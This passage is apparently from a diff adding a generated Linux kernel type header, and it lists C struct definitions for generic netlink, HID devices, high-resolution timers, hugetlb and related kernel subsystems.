64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct pcpu_gen_cookie; + +struct gen_cookie { + struct pcpu_gen_cookie __attribute__((btf_type_tag("percpu"))) *local; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + atomic64_t forward_last; + atomic64_t reverse_last; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct gen_pool; + +typedef unsigned long (*genpool_algo_t)(unsigned long *, unsigned long, unsigned long, unsigned int, void *, struct gen_pool *, unsigned long); + +struct gen_pool { + spinlock_t lock; + struct list_head chunks; + int min_alloc_order; + genpool_algo_t algo; + void *data; + const char *name; +}; + +struct gen_pool_chunk { + struct list_head next_chunk; + atomic_long_t avail; + phys_addr_t phys_addr; + void *owner; + unsigned long start_addr; + unsigned long end_addr; + unsigned long bits[0]; +}; + +struct timer_rand_state; + +struct gendisk { + int major; + int first_minor; + int minors; + char disk_name[32]; + unsigned short events; + unsigned short event_flags; + struct xarray part_tbl; + struct block_device *part0; + const struct block_device_operations *fops; + struct request_queue *queue; + void *private_data; + struct bio_set bio_split; + int flags; + unsigned long state; + struct mutex open_mutex; + unsigned int open_partitions; + struct backing_dev_info *bdi; + struct kobject queue_kobj; + struct kobject *slave_dir; + struct list_head slave_bdevs; + struct timer_rand_state *random; + atomic_t sync_io; + struct disk_events *ev; + int node_id; + struct badblocks *bb; + struct lockdep_map lockdep_map; + u64 diskseq; + blk_mode_t open_mode; + struct blk_independent_access_ranges *ia_ranges; +}; + +struct genevehdr { + u8 opt_len: 6; + u8 ver: 2; + u8 rsvd1: 6; + u8 critical: 1; + u8 oam: 1; + __be16 proto_type; + u8 vni[3]; + u8 rsvd2; + u8 options[0]; +}; + +struct netlink_callback; + +struct nla_policy; + +struct genl_split_ops { + union { + struct { + int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + int (*doit)(struct sk_buff *, struct genl_info *); + void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + }; + struct { + int (*start)(struct netlink_callback *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + }; + }; + const struct nla_policy *policy; + unsigned int maxattr; + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +struct genlmsghdr; + +struct genl_info { + u32 snd_seq; + u32 snd_portid; + const struct genl_family *family; + const struct nlmsghdr *nlhdr; + struct genlmsghdr *genlhdr; + struct nlattr **attrs; + possible_net_t _net; + void *user_ptr[2]; + struct netlink_ext_ack *extack; +}; + +struct genl_dumpit_info { + struct genl_split_ops op; + struct genl_info info; +}; + +struct genl_ops; + +struct genl_small_ops; + +struct genl_multicast_group; + +struct genl_family { + unsigned int hdrsize; + char name[16]; + unsigned int version; + unsigned int maxattr; + u8 netnsok: 1; + u8 parallel_ops: 1; + u8 n_ops; + u8 n_small_ops; + u8 n_split_ops; + u8 n_mcgrps; + u8 resv_start_op; + const struct nla_policy *policy; + int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + int (*bind)(int); + void (*unbind)(int); + const struct genl_ops *ops; + const struct genl_small_ops *small_ops; + const struct genl_split_ops *split_ops; + const struct genl_multicast_group *mcgrps; + struct module *module; + size_t sock_priv_size; + void (*sock_priv_init)(void *); + void (*sock_priv_destroy)(void *); + int id; + unsigned int mcgrp_offset; + struct xarray *sock_privs; +}; + +struct genl_multicast_group { + char name[16]; + u8 flags; +}; + +struct genl_op_iter { + const struct genl_family *family; + struct genl_split_ops doit; + struct genl_split_ops dumpit; + int cmd_idx; + int entry_idx; + u32 cmd; + u8 flags; +}; + +struct genl_ops { + int (*doit)(struct sk_buff *, struct genl_info *); + int (*start)(struct netlink_callback *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + const struct nla_policy *policy; + unsigned int maxattr; + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +struct genl_small_ops { + int (*doit)(struct sk_buff *, struct genl_info *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +struct genl_start_context { + const struct genl_family *family; + struct nlmsghdr *nlh; + struct netlink_ext_ack *extack; + const struct genl_split_ops *ops; + int hdrlen; +}; + +struct genlmsghdr { + __u8 cmd; + __u8 version; + __u16 reserved; +}; + +struct genpool_data_align { + int align; +}; + +struct genpool_data_fixed { + unsigned long offset; +}; + +struct genradix_iter { + size_t offset; + size_t pos; +}; + +struct genradix_node { + union { + struct genradix_node *children[64]; + u8 data[512]; + }; +}; + +struct geom { + int raid_disks; + int near_copies; + int far_copies; + int far_offset; + sector_t stride; + int far_set_size; + int chunk_shift; + sector_t chunk_mask; +}; + +struct get_key_cookie { + struct sk_buff *msg; + int error; + int idx; +}; + +struct getcpu_cache { + unsigned long blob[16]; +}; + +struct linux_dirent; + +struct getdents_callback { + struct dir_context ctx; + struct linux_dirent __attribute__((btf_type_tag("user"))) *current_dir; + int prev_reclen; + int count; + int error; +}; + +struct getdents_callback___2 { + struct dir_context ctx; + char *name; + u64 ino; + int found; + int sequence; +}; + +struct linux_dirent64; + +struct getdents_callback64 { + struct dir_context ctx; + struct linux_dirent64 __attribute__((btf_type_tag("user"))) *current_dir; + int prev_reclen; + int count; + int error; +}; + +struct getfsmap_info { + struct super_block *gi_sb; + struct fsmap_head __attribute__((btf_type_tag("user"))) *gi_data; + unsigned int gi_idx; + __u32 gi_last_flags; +}; + +struct input_keymap_entry { + __u8 flags; + __u8 len; + __u16 index; + __u32 keycode; + __u8 scancode[32]; +}; + +struct getset_keycode_data { + struct input_keymap_entry ke; + int error; +}; + +struct gf128mul_4k { + be128 t[256]; +}; + +struct gf128mul_64k { + struct gf128mul_4k *t[16]; +}; + +struct kvm_memory_slot; + +struct gfn_to_hva_cache { + u64 generation; + gpa_t gpa; + unsigned long hva; + unsigned long len; + struct kvm_memory_slot *memslot; +}; + +struct kvm; + +struct gfn_to_pfn_cache { + u64 generation; + gpa_t gpa; + unsigned long uhva; + struct kvm_memory_slot *memslot; + struct kvm *kvm; + struct list_head list; + rwlock_t lock; + struct mutex refresh_lock; + void *khva; + kvm_pfn_t pfn; + bool active; + bool valid; +}; + +struct ghash_ctx { + struct gf128mul_4k *gf128; +}; + +struct ghash_desc_ctx { + u8 buffer[16]; + u32 bytes; +}; + +struct giveback_urb_bh { + bool running; + bool high_prio; + spinlock_t lock; + struct list_head head; + struct work_struct bh; + struct usb_host_endpoint *completing_ep; +}; + +struct global_params { + bool no_turbo; + bool turbo_disabled; + int max_perf_pct; + int min_perf_pct; +}; + +struct tc_stats { + __u64 bytes; + __u32 packets; + __u32 drops; + __u32 overlimits; + __u32 bps; + __u32 pps; + __u32 qlen; + __u32 backlog; +}; + +struct gnet_dump { + spinlock_t *lock; + struct sk_buff *skb; + struct nlattr *tail; + int compat_tc_stats; + int compat_xstats; + int padattr; + void *xstats; + int xstats_len; + struct tc_stats tc_stats; +}; + +struct gnet_estimator { + signed char interval; + unsigned char ewma_log; +}; + +struct gnet_stats_basic { + __u64 bytes; + __u32 packets; +}; + +struct gnet_stats_rate_est { + __u32 bps; + __u32 pps; +}; + +struct gnet_stats_rate_est64 { + __u64 bps; + __u64 pps; +}; + +struct governor_attr { + struct attribute attr; + ssize_t (*show)(struct gov_attr_set *, char *); + ssize_t (*store)(struct gov_attr_set *, const char *, size_t); +}; + +struct gre_base_hdr { + __be16 flags; + __be16 protocol; +}; + +struct gro_cell { + struct sk_buff_head napi_skbs; + struct napi_struct napi; +}; + +struct gro_cells { + struct gro_cell __attribute__((btf_type_tag("percpu"))) *cells; +}; + +struct group_filter { + union { + struct { + __u32 gf_interface_aux; + struct __kernel_sockaddr_storage gf_group_aux; + __u32 gf_fmode_aux; + __u32 gf_numsrc_aux; + struct __kernel_sockaddr_storage gf_slist[1]; + }; + struct { + __u32 gf_interface; + struct __kernel_sockaddr_storage gf_group; + __u32 gf_fmode; + __u32 gf_numsrc; + struct __kernel_sockaddr_storage gf_slist_flex[0]; + }; + }; +}; + +struct group_info { + refcount_t usage; + int ngroups; + kgid_t gid[0]; +}; + +struct group_req { + __u32 gr_interface; + struct __kernel_sockaddr_storage gr_group; +}; + +struct group_source_req { + __u32 gsr_interface; + struct __kernel_sockaddr_storage gsr_group; + struct __kernel_sockaddr_storage gsr_source; +}; + +struct handle_to_path_ctx { + struct path root; + enum handle_to_path_flags flags; + unsigned int fh_flags; +}; + +struct hash_cell { + struct rb_node name_node; + struct rb_node uuid_node; + bool name_set; + bool uuid_set; + char *name; + char *uuid; + struct mapped_device *md; + struct dm_table *new_map; +}; + +struct hc_driver { + const char *description; + const char *product_desc; + size_t hcd_priv_size; + irqreturn_t (*irq)(struct usb_hcd *); + int flags; + int (*reset)(struct usb_hcd *); + int (*start)(struct usb_hcd *); + int (*pci_suspend)(struct usb_hcd *, bool); + int (*pci_resume)(struct usb_hcd *, pm_message_t); + int (*pci_poweroff_late)(struct usb_hcd *, bool); + void (*stop)(struct usb_hcd *); + void (*shutdown)(struct usb_hcd *); + int (*get_frame_number)(struct usb_hcd *); + int (*urb_enqueue)(struct usb_hcd *, struct urb *, gfp_t); + int (*urb_dequeue)(struct usb_hcd *, struct urb *, int); + int (*map_urb_for_dma)(struct usb_hcd *, struct urb *, gfp_t); + void (*unmap_urb_for_dma)(struct usb_hcd *, struct urb *); + void (*endpoint_disable)(struct usb_hcd *, struct usb_host_endpoint *); + void (*endpoint_reset)(struct usb_hcd *, struct usb_host_endpoint *); + int (*hub_status_data)(struct usb_hcd *, char *); + int (*hub_control)(struct usb_hcd *, u16, u16, u16, char *, u16); + int (*bus_suspend)(struct usb_hcd *); + int (*bus_resume)(struct usb_hcd *); + int (*start_port_reset)(struct usb_hcd *, unsigned int); + unsigned long (*get_resuming_ports)(struct usb_hcd *); + void (*relinquish_port)(struct usb_hcd *, int); + int (*port_handed_over)(struct usb_hcd *, int); + void (*clear_tt_buffer_complete)(struct usb_hcd *, struct usb_host_endpoint *); + int (*alloc_dev)(struct usb_hcd *, struct usb_device *); + void (*free_dev)(struct usb_hcd *, struct usb_device *); + int (*alloc_streams)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint **, unsigned int, unsigned int, gfp_t); + int (*free_streams)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint **, unsigned int, gfp_t); + int (*add_endpoint)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint *); + int (*drop_endpoint)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint *); + int (*check_bandwidth)(struct usb_hcd *, struct usb_device *); + void (*reset_bandwidth)(struct usb_hcd *, struct usb_device *); + int (*address_device)(struct usb_hcd *, struct usb_device *, unsigned int); + int (*enable_device)(struct usb_hcd *, struct usb_device *); + int (*update_hub_device)(struct usb_hcd *, struct usb_device *, struct usb_tt *, gfp_t); + int (*reset_device)(struct usb_hcd *, struct usb_device *); + int (*update_device)(struct usb_hcd *, struct usb_device *); + int (*set_usb2_hw_lpm)(struct usb_hcd *, struct usb_device *, int); + int (*enable_usb3_lpm_timeout)(struct usb_hcd *, struct usb_device *, enum usb3_link_state); + int (*disable_usb3_lpm_timeout)(struct usb_hcd *, struct usb_device *, enum usb3_link_state); + int (*find_raw_port_number)(struct usb_hcd *, int); + int (*port_power)(struct usb_hcd *, int, bool); + int (*submit_single_step_set_feature)(struct usb_hcd *, struct urb *, int); +}; + +struct hd_geometry { + unsigned char heads; + unsigned char sectors; + unsigned short cylinders; + unsigned long start; +}; + +struct hh_cache; + +struct header_ops { + int (*create)(struct sk_buff *, struct net_device *, unsigned short, const void *, const void *, unsigned int); + int (*parse)(const struct sk_buff *, unsigned char *); + int (*cache)(const struct neighbour *, struct hh_cache *, __be16); + void (*cache_update)(struct hh_cache *, const struct net_device *, const unsigned char *); + bool (*validate)(const char *, unsigned int); + __be16 (*parse_protocol)(const struct sk_buff *); +}; + +struct held_lock { + u64 prev_chain_key; + unsigned long acquire_ip; + struct lockdep_map *instance; + struct lockdep_map *nest_lock; + unsigned int class_idx: 13; + unsigned int irq_context: 2; + unsigned int trylock: 1; + unsigned int read: 2; + unsigned int check: 1; + unsigned int hardirqs_off: 1; + unsigned int sync: 1; + unsigned int references: 11; + unsigned int pin_count; +}; + +struct heuristic_ws { + u8 *sample; + u32 sample_size; + struct bucket_item *bucket; + struct bucket_item *bucket_b; + struct list_head list; +}; + +struct hh_cache { + unsigned int hh_len; + seqlock_t hh_lock; + unsigned long hh_data[12]; +}; + +struct hib_bio_batch { + atomic_t count; + wait_queue_head_t wait; + blk_status_t error; + struct blk_plug plug; +}; + +struct hid_class_descriptor { + __u8 bDescriptorType; + __le16 wDescriptorLength; +} __attribute__((packed)); + +struct hid_collection { + int parent_idx; + unsigned int type; + unsigned int usage; + unsigned int level; +}; + +struct hid_report; + +struct hid_control_fifo { + unsigned char dir; + struct hid_report *report; + char *raw_report; +}; + +struct hid_device; + +struct hid_debug_list { + struct { + union { + struct __kfifo kfifo; + char *type; + const char *const_type; + char (*rectype)[0]; + char *ptr; + const char *ptr_const; + }; + char buf[0]; + } hid_debug_fifo; + struct fasync_struct *fasync; + struct hid_device *hdev; + struct list_head node; + struct mutex read_mutex; +}; + +struct hid_descriptor { + __u8 bLength; + __u8 bDescriptorType; + __le16 bcdHID; + __u8 bCountryCode; + __u8 bNumDescriptors; + struct hid_class_descriptor desc[1]; +} __attribute__((packed)); + +struct hid_report_enum { + unsigned int numbered; + struct list_head report_list; + struct hid_report *report_id_hash[256]; +}; + +struct hid_driver; + +struct hid_ll_driver; + +struct hid_field; + +struct hid_usage; + +struct hid_device { + const __u8 *dev_rdesc; + unsigned int dev_rsize; + const __u8 *rdesc; + unsigned int rsize; + struct hid_collection *collection; + unsigned int collection_size; + unsigned int maxcollection; + unsigned int maxapplication; + __u16 bus; + __u16 group; + __u32 vendor; + __u32 product; + __u32 version; + enum hid_type type; + unsigned int country; + struct hid_report_enum report_enum[3]; + struct work_struct led_work; + struct semaphore driver_input_lock; + struct device dev; + struct hid_driver *driver; + void *devres_group_id; + const struct hid_ll_driver *ll_driver; + struct mutex ll_open_lock; + unsigned int ll_open_count; + unsigned long status; + unsigned int claimed; + unsigned int quirks; + unsigned int initial_quirks; + bool io_started; + struct list_head inputs; + void *hiddev; + void *hidraw; + char name[128]; + char phys[64]; + char uniq[64]; + void *driver_data; + int (*ff_init)(struct hid_device *); + int (*hiddev_connect)(struct hid_device *, unsigned int); + void (*hiddev_disconnect)(struct hid_device *); + void (*hiddev_hid_event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); + void (*hiddev_report_event)(struct hid_device *, struct hid_report *); + unsigned short debug; + struct dentry *debug_dir; + struct dentry *debug_rdesc; + struct dentry *debug_events; + struct list_head debug_list; + spinlock_t debug_list_lock; + wait_queue_head_t debug_wait; + struct kref ref; + unsigned int id; +}; + +struct hid_device_id { + __u16 bus; + __u16 group; + __u32 vendor; + __u32 product; + kernel_ulong_t driver_data; +}; + +struct hid_report_id; + +struct hid_usage_id; + +struct hid_input; + +struct hid_driver { + char *name; + const struct hid_device_id *id_table; + struct list_head dyn_list; + spinlock_t dyn_lock; + bool (*match)(struct hid_device *, bool); + int (*probe)(struct hid_device *, const struct hid_device_id *); + void (*remove)(struct hid_device *); + const struct hid_report_id *report_table; + int (*raw_event)(struct hid_device *, struct hid_report *, u8 *, int); + const struct hid_usage_id *usage_table; + int (*event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); + void (*report)(struct hid_device *, struct hid_report *); + const __u8 * (*report_fixup)(struct hid_device *, __u8 *, unsigned int *); + int (*input_mapping)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, unsigned long **, int *); + int (*input_mapped)(struct hid_device *, struct hid_input *, struct hid_field *, struct hid_usage *, unsigned long **, int *); + int (*input_configured)(struct hid_device *, struct hid_input *); + void (*feature_mapping)(struct hid_device *, struct hid_field *, struct hid_usage *); + int (*suspend)(struct hid_device *, pm_message_t); + int (*resume)(struct hid_device *); + int (*reset_resume)(struct hid_device *); + struct device_driver driver; +}; + +struct hid_dynid { + struct list_head list; + struct hid_device_id id; +}; + +struct hid_field { + unsigned int physical; + unsigned int logical; + unsigned int application; + struct hid_usage *usage; + unsigned int maxusage; + unsigned int flags; + unsigned int report_offset; + unsigned int report_size; + unsigned int report_count; + unsigned int report_type; + __s32 *value; + __s32 *new_value; + __s32 *usages_priorities; + __s32 logical_minimum; + __s32 logical_maximum; + __s32 physical_minimum; + __s32 physical_maximum; + __s32 unit_exponent; + unsigned int unit; + bool ignored; + struct hid_report *report; + unsigned int index; + struct hid_input *hidinput; + __u16 dpad; + unsigned int slot_idx; +}; + +struct hid_field_entry { + struct list_head list; + struct hid_field *field; + unsigned int index; + __s32 priority; +}; + +struct hid_global { + unsigned int usage_page; + __s32 logical_minimum; + __s32 logical_maximum; + __s32 physical_minimum; + __s32 physical_maximum; + __s32 unit_exponent; + unsigned int unit; + unsigned int report_id; + unsigned int report_size; + unsigned int report_count; +}; + +struct hid_input { + struct list_head list; + struct hid_report *report; + struct input_dev *input; + const char *name; + struct list_head reports; + unsigned int application; + bool registered; +}; + +struct hid_item { + unsigned int format; + __u8 size; + __u8 type; + __u8 tag; + union { + __u8 u8; + __s8 s8; + __u16 u16; + __s16 s16; + __u32 u32; + __s32 s32; + const __u8 *longdata; + } data; +}; + +struct hid_ll_driver { + int (*start)(struct hid_device *); + void (*stop)(struct hid_device *); + int (*open)(struct hid_device *); + void (*close)(struct hid_device *); + int (*power)(struct hid_device *, int); + int (*parse)(struct hid_device *); + void (*request)(struct hid_device *, struct hid_report *, int); + int (*wait)(struct hid_device *); + int (*raw_request)(struct hid_device *, unsigned char, __u8 *, size_t, unsigned char, int); + int (*output_report)(struct hid_device *, __u8 *, size_t); + int (*idle)(struct hid_device *, int, int, int); + bool (*may_wakeup)(struct hid_device *); + unsigned int max_buffer_size; +}; + +struct hid_local { + unsigned int usage[12288]; + u8 usage_size[12288]; + unsigned int collection_index[12288]; + unsigned int usage_index; + unsigned int usage_minimum; + unsigned int delimiter_depth; + unsigned int delimiter_branch; +}; + +struct hid_output_fifo { + struct hid_report *report; + char *raw_report; +}; + +struct hid_parser { + struct hid_global global; + struct hid_global global_stack[4]; + unsigned int global_stack_ptr; + struct hid_local local; + unsigned int *collection_stack; + unsigned int collection_stack_ptr; + unsigned int collection_stack_size; + struct hid_device *device; + unsigned int scan_flags; +}; + +struct hid_report { + struct list_head list; + struct list_head hidinput_list; + struct list_head field_entry_list; + unsigned int id; + enum hid_report_type type; + unsigned int application; + struct hid_field *field[256]; + struct hid_field_entry *field_entries; + unsigned int maxfield; + unsigned int size; + struct hid_device *device; + bool tool_active; + unsigned int tool; +}; + +struct hid_report_id { + __u32 report_type; +}; + +struct hid_usage { + unsigned int hid; + unsigned int collection_index; + unsigned int usage_index; + __s8 resolution_multiplier; + __s8 wheel_factor; + __u16 code; + __u8 type; + __s16 hat_min; + __s16 hat_max; + __s16 hat_dir; + __s16 wheel_accumulated; +}; + +struct hid_usage_entry { + unsigned int page; + unsigned int usage; + const char *description; +}; + +struct hid_usage_id { + __u32 usage_hid; + __u32 usage_type; + __u32 usage_code; +}; + +struct hiddev { + int minor; + int exist; + int open; + struct mutex existancelock; + wait_queue_head_t wait; + struct hid_device *hid; + struct list_head list; + spinlock_t list_lock; + bool initialized; +}; + +struct hidraw { + unsigned int minor; + int exist; + int open; + wait_queue_head_t wait; + struct hid_device *hid; + struct device *dev; + spinlock_t list_lock; + struct list_head list; +}; + +struct hidraw_devinfo { + __u32 bustype; + __s16 vendor; + __s16 product; +}; + +struct hidraw_report { + __u8 *value; + int len; +}; + +struct hidraw_list { + struct hidraw_report buffer[64]; + int head; + int tail; + struct fasync_struct *fasync; + struct hidraw *hidraw; + struct list_head node; + struct mutex read_mutex; + bool revoked; +}; + +struct hist_elt_data { + char *comm; + u64 *var_ref_vals; + char **field_var_str; + int n_field_var_str; +}; + +struct hist_var { + char *name; + struct hist_trigger_data *hist_data; + unsigned int idx; +}; + +struct hist_field { + struct ftrace_event_field *field; + unsigned long flags; + unsigned long buckets; + const char *type; + struct hist_field *operands[2]; + struct hist_trigger_data *hist_data; + enum hist_field_fn fn_num; + unsigned int ref; + unsigned int size; + unsigned int offset; + unsigned int is_signed; + struct hist_var var; + enum field_op_id operator; + char *system; + char *event_name; + char *name; + unsigned int var_ref_idx; + bool read_once; + unsigned int var_str_idx; + u64 constant; + u64 div_multiplier; +}; + +struct var_defs { + unsigned int n_vars; + char *name[16]; + char *expr[16]; +}; + +struct hist_trigger_attrs { + char *keys_str; + char *vals_str; + char *sort_key_str; + char *name; + char *clock; + bool pause; + bool cont; + bool clear; + bool ts_in_usecs; + bool no_hitcount; + unsigned int map_bits; + char *assignment_str[16]; + unsigned int n_assignments; + char *action_str[8]; + unsigned int n_actions; + struct var_defs var_defs; +}; + +struct tracing_map_sort_key { + unsigned int field_idx; + bool descending; +}; + +struct tracing_map; + +struct hist_trigger_data { + struct hist_field *fields[22]; + unsigned int n_vals; + unsigned int n_keys; + unsigned int n_fields; + unsigned int n_vars; + unsigned int n_var_str; + unsigned int key_size; + struct tracing_map_sort_key sort_keys[2]; + unsigned int n_sort_keys; + struct trace_event_file *event_file; + struct hist_trigger_attrs *attrs; + struct tracing_map *map; + bool enable_timestamps; + bool remove; + struct hist_field *var_refs[16]; + unsigned int n_var_refs; + struct action_data *actions[8]; + unsigned int n_actions; + struct field_var *field_vars[64]; + unsigned int n_field_vars; + unsigned int n_field_var_str; + struct field_var_hist *field_var_hists[64]; + unsigned int n_field_var_hists; + struct field_var *save_vars[64]; + unsigned int n_save_vars; + unsigned int n_save_var_str; +}; + +struct hist_val_stat { + u64 max; + u64 total; +}; + +struct hist_var_data { + struct list_head list; + struct hist_trigger_data *hist_data; +}; + +struct hlist_bl_head { + struct hlist_bl_node *first; +}; + +struct hmac_ctx { + struct crypto_shash *hash; + u8 pads[0]; +}; + +struct hop_jumbo_hdr { + u8 nexthdr; + u8 hdrlen; + u8 tlv_type; + u8 tlv_len; + __be32 jumbo_payload_len; +}; + +struct hotplug_slot_ops; + +struct pci_slot; + +struct hotplug_slot { + const struct hotplug_slot_ops *ops; + struct list_head slot_list; + struct pci_slot *pci_slot; + struct module *owner; + const char *mod_name; +}; + +struct hotplug_slot_ops { + int (*enable_slot)(struct hotplug_slot *); + int (*disable_slot)(struct hotplug_slot *); + int (*set_attention_status)(struct hotplug_slot *, u8); + int (*hardware_test)(struct hotplug_slot *, u32); + int (*get_power_status)(struct hotplug_slot *, u8 *); + int (*get_attention_status)(struct hotplug_slot *, u8 *); + int (*get_latch_status)(struct hotplug_slot *, u8 *); + int (*get_adapter_status)(struct hotplug_slot *, u8 *); + int (*reset_slot)(struct hotplug_slot *, bool); +}; + +struct housekeeping { + cpumask_var_t cpumasks[9]; + unsigned long flags; +}; + +struct hpet_channel; + +struct hpet_base { + unsigned int nr_channels; + unsigned int nr_clockevents; + unsigned int boot_cfg; + struct hpet_channel *channels; +}; + +struct hpet_channel { + struct clock_event_device evt; + unsigned int num; + unsigned int cpu; + unsigned int irq; + unsigned int in_use; + enum hpet_mode mode; + unsigned int boot_cfg; + char name[10]; + long: 64; + long: 64; + long: 64; +}; + +union hpet_lock { + struct { + arch_spinlock_t lock; + u32 value; + }; + u64 lockval; +}; + +struct hpx_type0 { + u32 revision; + u8 cache_line_size; + u8 latency_timer; + u8 enable_serr; + u8 enable_perr; +}; + +struct hpx_type1 { + u32 revision; + u8 max_mem_read; + u8 avg_max_split; + u16 tot_max_split; +}; + +struct hpx_type2 { + u32 revision; + u32 unc_err_mask_and; + u32 unc_err_mask_or; + u32 unc_err_sever_and; + u32 unc_err_sever_or; + u32 cor_err_mask_and; + u32 cor_err_mask_or; + u32 adv_err_cap_and; + u32 adv_err_cap_or; + u16 pci_exp_devctl_and; + u16 pci_exp_devctl_or; + u16 pci_exp_lnkctl_and; + u16 pci_exp_lnkctl_or; + u32 sec_unc_err_sever_and; + u32 sec_unc_err_sever_or; + u32 sec_unc_err_mask_and; + u32 sec_unc_err_mask_or; +}; + +struct hpx_type3 { + u16 device_type; + u16 function_type; + u16 config_space_location; + u16 pci_exp_cap_id; + u16 pci_exp_cap_ver; + u16 pci_exp_vendor_id; + u16 dvsec_id; + u16 dvsec_rev; + u16 match_offset; + u32 match_mask_and; + u32 match_value; + u16 reg_offset; + u32 reg_mask_and; + u32 reg_mask_or; +}; + +struct seqcount_raw_spinlock { + seqcount_t seqcount; + raw_spinlock_t *lock; +}; + +typedef struct seqcount_raw_spinlock seqcount_raw_spinlock_t; + +struct hrtimer_cpu_base; + +struct hrtimer_clock_base { + struct hrtimer_cpu_base *cpu_base; + unsigned int index; + clockid_t clockid; + seqcount_raw_spinlock_t seq; + struct hrtimer *running; + struct timerqueue_head active; + ktime_t (*get_time)(void); + ktime_t offset; + long: 64; + long: 64; +}; + +struct hrtimer_cpu_base { + raw_spinlock_t lock; + unsigned int cpu; + unsigned int active_bases; + unsigned int clock_was_set_seq; + unsigned int hres_active: 1; + unsigned int in_hrtirq: 1; + unsigned int hang_detected: 1; + unsigned int softirq_activated: 1; + unsigned int online: 1; + unsigned int nr_events; + unsigned short nr_retries; + unsigned short nr_hangs; + unsigned int max_hang_time; + ktime_t expires_next; + struct hrtimer *next_timer; + ktime_t softirq_expires_next; + struct hrtimer *softirq_next_timer; + struct hrtimer_clock_base clock_base[8]; +}; + +struct hrtimer_sleeper { + struct hrtimer timer; + struct task_struct *task; +}; + +struct hs_primary_descriptor { + __u8 foo[8]; + __u8 type[1]; + __u8 id[5]; + __u8 version[1]; + __u8 unused1[1]; + char system_id[32]; + char volume_id[32]; + __u8 unused2[8]; + __u8 volume_space_size[8]; + __u8 unused3[32]; + __u8 volume_set_size[4]; + __u8 volume_sequence_number[4]; + __u8 logical_block_size[4]; + __u8 path_table_size[8]; + __u8 type_l_path_table[4]; + __u8 unused4[28]; + __u8 root_directory_record[34]; +}; + +struct hs_volume_descriptor { + __u8 foo[8]; + __u8 type[1]; + char id[5]; + __u8 version[1]; + __u8 data[2033]; +}; + +struct hsr_tag { + __be16 path_and_LSDU_size; + __be16 sequence_nr; + __be16 encap_proto; +}; + +struct hstate { + struct mutex resize_lock; + struct lock_class_key resize_key; + int next_nid_to_alloc; + int next_nid_to_free; + unsigned int order; + unsigned int demote_order; + unsigned long mask; + unsigned long max_huge_pages; + unsigned long nr_huge_pages; + unsigned long free_huge_pages; + unsigned long resv_huge_pages; + unsigned long surplus_huge_pages; + unsigned long nr_overcommit_huge_pages; + struct list_head hugepage_activelist; + struct list_head hugepage_freelists[1024]; + unsigned int max_huge_pages_node[1024]; + unsigned int nr_huge_pages_node[1024]; + unsigned int free_huge_pages_node[1024]; + unsigned int surplus_huge_pages_node[1024]; + char name[32]; +}; + +struct hsu_dma; + +struct hsu_dma_chip { + struct device *dev; + int irq; + void *regs; + unsigned int length; + unsigned int offset; + struct hsu_dma *hsu; +}; + +struct hsu_dma_slave { + struct device *dma_dev; + int chan_id; +}; + +struct pcpu_freelist_node { + struct pcpu_freelist_node *next; +}; + +struct htab_elem { + union { + struct hlist_nulls_node hash_node; + struct { + void *padding; + union { + struct pcpu_freelist_node fnode; + struct htab_elem *batch_flink; + }; + }; + }; + union { + void *ptr_to_pptr; + struct bpf_lru_node lru_node; + }; + u32 hash; + long: 0; + char key[0]; +}; + +struct huge_bootmem_page { + struct list_head list; + struct hstate *hstate; +}; + +struct hugepage_subpool { + spinlock_t lock; + long count; + long max_hpages; + long used_hpages; + struct hstate *hstate; + long min_hpages; + long rsv_hpages; +}; + +struct page_counter { + atomic_long_t usage; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + unsigned long emin; + atomic_long_t min_usage; + atomic_long_t children_min_usage; + unsigned long elow; + atomic_long_t low_usage; + atomic_long_t children_low_usage; + unsigned long watermark; + unsigned long local_watermark; + unsigned long failcnt; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + bool protection_support; + unsigned long min; + unsigned long low; + unsigned long high; + unsigned long max; + struct page_counter *parent; + long: 64; + long: 64; +}; + +struct hugetlb_cgroup_per_node; + +struct hugetlb_cgroup { + struct cgroup_subsys_state css; + long: 64; + long: 64; + long: 64; + long: 64; + struct page_counter hugepage[2]; + struct page_counter rsvd_hugepage[2]; + atomic_long_t events[2]; + 